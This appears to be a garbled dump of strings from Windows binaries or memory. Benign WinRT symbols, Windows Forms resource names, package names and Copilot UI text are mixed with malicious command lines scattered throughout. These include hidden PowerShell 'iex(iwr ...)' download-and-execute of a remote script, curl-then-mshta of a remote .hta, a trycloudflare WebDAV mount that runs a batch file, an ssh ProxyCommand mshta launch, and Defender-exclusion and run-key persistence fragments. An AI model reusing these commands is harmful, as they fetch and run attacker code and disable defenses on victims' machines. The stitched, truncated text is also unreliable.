.?AU?$produce_base@UDetailsPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UDetailsPageViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIDetailsPageViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$implements@UDetailsPageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
.?AU?$producer_convert@UDetailsPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDetailsPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UDetailsPageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producers_base@UDetailsPageViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@UDetailsPageViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_9405cb6ad34b8d34c6a9fd66af26aadb>@@@impl@winrt@@
Microsoft.Windows.TaskScheduler
s\system32
WindowsShutDown
System.Windows.Forms.IKeyboardToolTip.IsBeingTabbedTo
System.Windows.Forms.TrustManagerOK.ico
System.Windows.Forms.wfc.ico
System.Windows.Forms.Checked.ico
System.Windows.Forms.IndeterminateChecked.ico
System.Windows.Forms.TrustManagerGlobe.ico
System.Windows.Forms.Design.ComponentEditorPage.ico
System.Windows.Forms.TrustManagerWarning.ico
System.Windows.Forms.TrustManagerHighRisk.ico
System.Windows.Forms.DataGridViewRow.pencil_rtl.ico
System.Windows.Forms.DataGridViewRow.star.ico
System.Windows.Forms.DataGridViewRow.leftstar.ico
System.Windows.Forms.DataGridViewRow.rightstar.ico
System.Windows.Forms.Error.ico
System.Windows.Forms.IconInError.ico
System.Windows.Forms.DataGridViewRow.pencil_ltr.ico
System.Windows.Forms.DataGridViewRow.left.ico
System.Windows.Forms.DataGridViewRow.right.ico
System.Windows.Forms.dotdotdot.ico
System.Windows.Forms.Arrow.ico
System.Windows.Forms.wfsecurity.ico
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceSite.DeactivateAndUndo
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceObject.ReactivateAndUndo
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
\8351fb32-4643-4b0a-a4f6-c3d4bce87341C:\windows\system32\mstsc.exeC
Software\Microsoft\Windows\CurrentVersion\Uninstall\afmagringerneS
Microsoft.Windows.Audio.Service.PolicyManager
Microsoft.Windows.DesktopActivityBroker
Microsoft.Windows.NetworkListManager
onecoreuap\shell\windows.storage\appdefaultshelpers.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\defaultassociations.cpp
onecoreuap\shell\windows.storage\associationlaunch\lib\bfs.cpp
Microsoft.Windows.ProcessStateManager
Microsoft.Windows.Analog.HydrogenCompositor
Microsoft.Windows.BrokerInfrastructure
Microsoft.Windows.ResourceManager.Client
 Windows 
 @Digest Authentication for Windows
Q.\windows.tdl
Windows16W
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
\windows\currentversion\runservices
Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
%system32%\at.exe;%system32%\bitsadmin.exe;%system32%\bootcfg.exe;%system32%\calc.exe;%system32%\certreq.exe;%system32%\certutil.exe;%system32%\computerdefaults.exe;%system32%\credentialenrollmentmanager.exe;%system32%\customshellhost.exe;%system32%\deviceenroller.exe;%system32%\dialer.exe;%system32%\driverquery.exe;%system32%\dsregcmd.exe;%system32%\edpcleanup.exe;%system32%\eduprintprov.exe;%system32%\eventcreate.exe;%system32%\fodhelper.exe;%system32%\ftp.exe;%system32%\getmac.exe;%system32%\gpresult.exe;%system32%\iesettingsync.exe;%system32%\klist.exe;%system32%\ksetup.exe;%system32%\ldp.exe;%system32%\logman.exe;%system32%\mdeserver.exe;%system32%\msdt.exe;%system32%\mshta.exe;%system32%\msra.exe;%system32%\mstsc.exe;%system32%\mtstocom.exe;%system32%\muiunattend.exe;%system32%\netdom.exe;%system32%\netsh.exe;%system32%\openfiles.exe;%system32%\perfmon.exe;%system32%\pinenrollmentbroker.exe;%system32%\presentationsettings.exe;%system32%\psr.exe;%system32%\quickassist.exe;%system32%\rdpsa.exe;%system32%\rpcping.exe;%system32%\runas.exe;%system32%\sdclt.exe;%system32%\setx.exe;%system32%\shutdown.exe;%system32%\systeminfo.exe;%system32%\systemsettingsadminflows.exe;%system32%\takeown.exe;%system32%\taskkill.exe;%system32%\tasklist.exe;%system32%\waitfor.exe;%system32%\whoami.exe;%system32%\wkspbroker.exe;%system32%\wlrmdr.exe;%system32%\compmgmtlauncher.exe;%system32%\rasphone.exe
%system32%\rmactivate
%system32%\change.exe;%system32%\chglogon.exe;%system32%\chgport.exe;%system32%\dcdiag.exe;%system32%\dsdbutil.exe;%system32%\driverquery.exe;%system32%\eventcreate.exe;%system32%\getmac.exe;%system32%\gpresult.exe;%system32%\ksetup.exe;%system32%\net.exe;%system32%\net1.exe;%system32%\netdom.exe;%system32%\ntdsutil.exe;%system32%\openfiles.exe;%system32%\query.exe;%system32%\quser.exe;%system32%\qwinsta.exe;%system32%\reset.exe;%system32%\rwinsta.exe;%system32%\shrpubw.exe;%system32%\spaceagent.exe;%system32%\systempropertiesadvanced.exe;%system32%\taskkill.exe;%system32%\tasklist.exe;%system32%\tscon.exe;%system32%\tskill.exe;%system32%\waitfor.exe;%system32%\wbengine.exe
%system32%\appidpolicyconverter.exe;%system32%\mshta.exe;%system32%\rdpclip.exe
%system32%\dirquota.exe;%system32%\filescrn.exe;%system32%\storrept.exe
%system32%\rstrui.exe;%system32%\srtasks.exe
%system32%\srtasks.exe;%system32%\tiworker.exe
%system32%\phoneactivate.exe
%system32%\msinfo32.exe;%system32%\netsh.exe;%system32%\packageinspector.exe;%system32%\slui.exe
%system32%\rstrui.exe;%system32%\sdclt.exe;%system32%\srtasks.exe;%system32%\wbengine.exe
%system32%\spectrum.exe
%system32%\arp.exe;%system32%\netstat.exe
%system32%\msinfo32.exe;%system32%\netsh.exe;%system32%\packageinspector.exe;%system32%\phoneactivate.exe;%system32%\slui.exe
%system32%\certreq.exe;%system32%\control.exe;%system32%\dpiscaling.exe;%system32%\mobsync.exe;%system32%\mstsc.exe;%system32%\notepad.exe;%system32%\presentationsettings.exe;%system32%\shellappruntime.exe;%system32%\wallpaperhost.exe
%system32%\telnet.exe
%system32%\appvclient.exe;%system32%\calc.exe;%system32%\certreq.exe;%system32%\certutil.exe;%system32%\computerdefaults.exe;%system32%\dfsrdiag.exe;%system32%\dsregcmd.exe;%system32%\dsrm.exe;%system32%\fodhelpeA
WindowsVersion
    name="Microsoft.Windows.onecoreuapshell.Windows.Storage"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
U:MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy!CortanaUI
 Windows
Windows NT
KU:MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy!CortanaUI
msEdgeWindowsEnergySaverAvailable
msWindowsShare
Nolkitonecutbrahippe/cwarspyjayd\sachipgagx.cmdabcdefghijklmnopbrstuvwxyz0123456789c:\windows\
""fugues=c:\windows\temp\
regkeyvalue://HKLM\SOFTWARE\Microsoft\Windows Defender\Spynet\\SpyNetReporting
ViewWindowsP
.c:\windows\system32\cmd.exe/v/rs^tartm^sie^x^e^c/^qj^tf^t^of^w^od=qmh/^p^ac^k^a^g^e"
:\windows\system32
Microsoft.Windows.
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_abfb902e1669d3f3f483dd0f87a7af5c>@@@impl@winrt@@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_abfb902e1669d3f3f483dd0f87a7af5c>@@@impl@winrt@@
.?AUtype@?$abi@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UMediaPlaybackSession@Playback@Media@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_446389503c0db3215607db248866ee69>@@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UMediaPlaybackSession@Playback@Media@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_446389503c0db3215607db248866ee69>@@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UMediaPlaybackSession@Playback@Media@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_daa5c4bf207dce67bc139f45bed4b7c6>@@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UMediaPlaybackSession@Playback@Media@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_daa5c4bf207dce67bc139f45bed4b7c6>@@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UMediaPlaybackSession@Playback@Media@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_a874337c633fc912eb66115685aa9e26>@@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UMediaPlaybackSession@Playback@Media@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_a874337c633fc912eb66115685aa9e26>@@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UMediaPlaybackSession@Playback@Media@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UMediaPlayer@Playback@Media@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_13b24ca76dc50a66758e04058ff6afb9>@@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UMediaPlayer@Playback@Media@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_13b24ca76dc50a66758e04058ff6afb9>@@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UMediaPlayer@Playback@Media@Windows@winrt@@UMediaPlayerFailedEventArgs@2345@@Foundation@Windows@winrt@@V<lambda_6fc1f8d5b3e4e291236820a16d7f5f6d>@@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UMediaPlayer@Playback@Media@Windows@winrt@@UMediaPlayerFailedEventArgs@2345@@Foundation@Windows@winrt@@V<lambda_6fc1f8d5b3e4e291236820a16d7f5f6d>@@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UMediaPlayer@Playback@Media@Windows@winrt@@UMediaPlayerFailedEventArgs@2345@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UMediaPlayer@Playback@Media@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_3fb098268b63240371069c1b8ab9ea9f>@@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UMediaPlayer@Playback@Media@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_3fb098268b63240371069c1b8ab9ea9f>@@@impl@winrt@@
AC:\Users\Jamie\Documents\Visual Studio 2008\Projects\WindowsApplication15\WindowsApplication15\obj\Release\WindowsApplication15.pdb
)powershell.exe$progresspreference='silentlycontinue';$a='https:';$b='c:\users\';$c='c:\windows\';iw''r$a//nr3cgovpk.org/download/fetch/list1/25807/view/7b0d7402-aef1-4e0f-9436-654cfe0bd2a9-outfile$b\public\9_2025.pdf
Windows.C
ion\WinLogon
 l:pass(outlookdecryptsystem32<
-.security.principal.windowsidentity]::getcurrent().user.valu
?q_func@QWindowsStylePrivate@@AEAAPEAVQWindowsStyle@@XZ
?q_func@QWindowsStylePrivate@@AEBAPEBVQWindowsStyle@@XZ
a-z","2");iwshshell3.run("%windir%\system32\mshta.exe
windows
regkeyvalue://hklm\software\policies\microsoft\windows\windowsupdate\\WUServer
globalInMemoryRandomAccessStreamStorageStreamsWindowsapplyctor
c:\windows\system32\cmd.exe/cstartc:\google\autoit3
\windows\currentversion\run'
MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewy
MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy
%ffindstr "winrar.exe" > %temp%\rarcek.txtmkdir %temp%\peretasintecho %computername% > %temp%\peretasint\systeminfo+-peretasint.txtdel getkeeplives.exedel %windir%\system32\taskho-8.exe
= "C:\Windows\" & "Te" & "mp\
c:\windows\system32\cmd.exe/c@echooff&startnotepad.exe&curl--silent-l"http
);start-process-windowstylehidden
System.Windows.Forms.UnsafeNativeMethods.IToggleProvider.Toggle
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderFragment.BoundingRectangle
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderFragment.get_BoundingRectangle
System.Windows.Forms.IKeyboardToolTip.GetNativeScreenRectangle
System.Windows.Forms.Layout.IArrangedElement.DisplayRectangle
System.Windows.Forms.Layout.IArrangedElement.get_DisplayRectangle
%\Windows
Windows.Data.UnifiedTile.StartTileProperties
Microsoft Windows3
 Windows 
 Windows 10 
EnumWindows
UnhookWindowsHookEx
pwindows
CheckCreateWindowsAIK_Result
software\microsoft\windows defender\exclusions\pathsRansom:MSIL/LockFile.PDZ!MTB
WindowsPersonaCard
WindowsMigration
WindowsMigrationTitle
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
WindowsInternal.ComposableShell.Experiences.TextInputUndocked
WindowsInternal.ComposableShell.Experiences.TextInput.Common
WindowsBackup
WindowsBackupTxt
WindowsBackupTransitionTitle
WindowsBackupTransitionTitleCommercial
WindowsBackupTransitionTitleCommercial2
WindowsBackupTransitionSubTitle
WindowsBackupTransitionProgressText
WindowsBackupTitle_VarExp_3
WindowsBackupTitle_VarExp_2
WindowsBackupTitle_VarExp_1
WindowsBackupTitle
WindowsBackupTitleCommercial
WindowsBackupTitleCommercial2
WindowsBackupSuccessTitle
WindowsBackupSuccessSubTitl
1\windows\system32\windowspowershell\v1.0\powershell.exeiwrhttp
c:\windows\system32\windowspowershell\v1.0\powershell.exe-whidden-nop-c"$p='https://github.com/owiwan/thecrom/raw/main/joo.ps1';iex(iwr$p-useb)"
X)4c:\windows\system32\cmd.exe/cnetusex:"\\climate-larger-winner-ash.trycloudflare.com@ssl\davwwwroot"/persistent:no&&x:\2h.bat&netusex:/delete/yes
c:\windows\system32\cmd.exe/ccd/d%temp%&&curl-ohttps://cdn.glitch.global/2eefa6a0-44ff-4979-9a9c-689be652996d/sfmw.hta?v=2&&mshta%temp%\sfmw.hta
c:\windows\system32\cmd.exe/cpowershell-command"invoke-webrequest-urihttp://upcloudshare.com/app.bat-outfile%temp%\app.bat;start%temp%\app.bat"
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-c'mshta'.insert(5,'https://codebizz.com/celebrationannabirthday.mp4')".
\windows\currentversion\run'-name'
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/8"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/8"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap3="http://schemas.microsoft.com/appx/manifest/uap/windows10/3"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:desktop10="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/3"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
46^windows.updateTask
46^windows.preInstalledConfigTask
47^windows.appExtension
47^windows.search
windows.search
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
Microsoft.Windows.AppLifecycle
Microsoft.WindowsAppSDK.Notifications.ApplicationDataTelemetry
Microsoft.WindowsAppSDK.Notifications.PushNotificationTelemetry
SystemRoot=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
c:\windows\system32\mset|
windows to fill available space`
snapped windows to fill available spaceg
resize snapped windows to fill available space
window fill|resize windows|adjust windows|snap windows|snap fill|auto layout|snap settings|multitasking settings|7
Microsoft-Windows-QoS-WMI-Diag
Windows Mixed RealityV
of Windows Mixed Reality^
quality of Windows Mixed Realitye
visual quality of Windows Mixed Realityi
the visual quality of Windows Mixed Reality
mixed reality visuals|headset visuals|render|hmd|holographic fps|hololens settings|MR settings|Windows MR settings|V
idle|asleep|timeout|timer|suspend|suspension|hololens settings|MR settings|Windows Mixed Reality|Windows MR settings|Mixed Reality Portal|B
Windows Mixed Reality headset goes to sleepm
your Windows Mixed Reality headset goes to sleepr
when your Windows Mixed Reality headset goes to sleep
idle|asleep|timeout|timer|suspend|suspension|hololens settings|MR settings|Windows MR settings|Mixed Reality Portal|I
c:\windows\system32\mstracer.dllvirus.win.trojan\mantanani_com_hijack
osoft\Windows\Defender
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
C:\WINDOWS\System32\Winevt\Logs\HardwareEvents.evtx
ROOT\Microsoft\Windows\Defender
CAAA_SettingsGroupPCSystemWindowsInfo
SSee if Windows is activated<$
Windows infoC#
Windows specificationsD"
Show settings to enable Windows tips and suggestionsP
AAA_SettingsGroupAltTabBlowout)"Choose how many windows and tabs appear on Alt+Tab and Snap Assist2
GAAA_CortanaSettingsPageGroupWindowsSearch_IndexerPerformance$
aml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFilterControl@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIControlOverrides6@Controls@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFilterControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UFilterControl@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFilterControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UFilterControl@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UFilterControl@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFilterControl@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UFilterControl@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UFilterControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UFilterControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFilterControl@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UFilterControl@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce@UDialogsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDialogsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIComponentConnector@Markup@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
windowsdrivers
adding directories to windows defender exclusion lista
Voice typing is downloading and setting up new features via Windows Update, which might take a few minutes. You can keep using voice typing during this process.
To move keyboard focus to the voice typing tool, press Windows key 
re in a text box by selecting Windows key 
Start voice typing, Windows logo key plus H.
You can change this setting at any time by going to Windows Settings > Privacy > Speech
Windows.Shell.InputApp.SmartActions.Pop-up
Search the web and Windows
Windows is all yours. Have fun!
What's new in Windows
/ic:\windows\
Microsoft-Windows-Runtime-Metadata-Desktop-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Runtime-Metadata-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Windows.System.ShareExperienceSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44j
Windows.System.NearShareExperienceReceiveSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44`	
Windows.System.MiracastReceiverSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44Z
Windows.System.DialServerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44Y
Windows.System.ContinuumSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44U
Windows.System.AudioSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44d
Windows.System.AppInitiatedDownloadSystemapp:system2026-02-20 16:13:442026-02-24 08:06:17Q
Windows.DefenderSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44c
Microsoft.Windows.ParentalControlsSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44j
Microsoft.Windows.InputSwitchToastHandlerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44n
Microsoft.Windows.DynamicLightingToastHandlerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44Pt
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
onecoreuap\shell\windows.system.A
onecoreuap\shell\windows.system.launcher\lib\windows.system.appurihandlerhost.cpp
onecoreuap\shell\windows.system.launcher\lib\launcherserviceactivatedeventargs.cpp
onecoreuap\shell\windows.system.launcher\assoclaunch\lib\brokeredlauncher.cpp
onecoreuap\shell\windows.system.launcher\lib\signedinuser.cpp
onecoreuap\shell\windows.system.launcher\lib\storelauncher.cpp
PSModulePath=C:\Program Files\WindowsPowerShell\.
s;C:\WINDOWS\system32.
SOFTWARE\Microsoft\Windows Defender\ExclusionsExclusionProcesscn5+ekQ5OTtDPTg8PT04PkM4PDpDOQ==vmsrvc.sys
Microsoft.Windows.Defender
Microsoft.Windows.Defender
Microsoft.Windows.DefenderCore1DS
Microsoft.Windows.DefenderCorePrivate
system32H
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Launcher.Client
Microsoft.Windows.Launcher.Service
Microsoft.Windows.PlatformExtensions
Microsoft.Windows.Launcher.Desktop
Windows.System.Launcher.pdb
wow64_microsoft-windows-wininit_31bf3856ad364e35_none_ccf92a8e9155be49
wow64_microsoft-windows-winlogon-sas_31bf3856ad364e35_none_891d23978439695a
wow64_microsoft-windows-winml_31bf3856ad364e35_none_506d96c4796f4320
wow64_microsoft-windows-winomi-mibincodec-dll_31bf3856ad364e35_none_b19e111ba20fb327
wow64_microsoft-windows-winomi-mimofcodec-dll_31bf3856ad364e35_none_67d87a98548c5342
wow64_microsoft-windows-winre-reagentconfig_31bf3856ad364e35_none_75177d72362308b5
wow64_microsoft-windows-winre-recoveryagent_31bf3856ad364e35_none_7bca5e0e68f01893
wow64_microsoft-windows-winre-recoverytools_31bf3856ad364e35_none_daca16cca1af7333
wow64_microsoft-windows-winrsplugins.resources_31bf3856ad364e35_en-us_a9575d1cb5536f71
wow64_microsoft-windows-winrsplugins_31bf3856ad364e35_none_f1970183a8bde464
c:\windows\system32\mshta.exeshortcutscript%windir%\system32
echo---disable"accountprotection"sectionin"windowssecurity"
w1(Software\Microsoft\Windows\splejses\Uninstall\vandfast\AiguelleS
Software\Microsoft\Windows\housecraft\Uninstall\Chalcocite\bredsaaningerneS
windowsudk.shellcommon.dll
C:\__w\1\s\packages\ExperienceExtensions\windows\WinRTComponents\lib\IdealStateFeatureControlHost.cpp
C:\__w\1\s\packages\ExperienceExtensions\windows\WinRTComponents\lib\MicrosoftAccountEngagementCoordinatorExtensionWrapper.cpp
C:\__w\1\s\packages\ExperienceExtensions\windows\WinRTComponents\lib\NetworkHelpers.h
C:\__w\1\s\packages\ExperienceExtensions\windows\WinRTComponents\lib\NetworkHelpers.cpp
Windows.SystemToast.BthQuickPair
Windows.SystemToast.Bthprops
Windows.SystemToast.BitLockerPolicyRefresh
Windows.SystemToast.BdeUnlock
Windows.SystemToast.BackupReminder
Windows.SystemToast.BackgroundAccess
Windows.SystemToast.AutoPlay
Windows.SystemToast.AudioTroubleshooter
Windows.SystemToast.AccountHealth
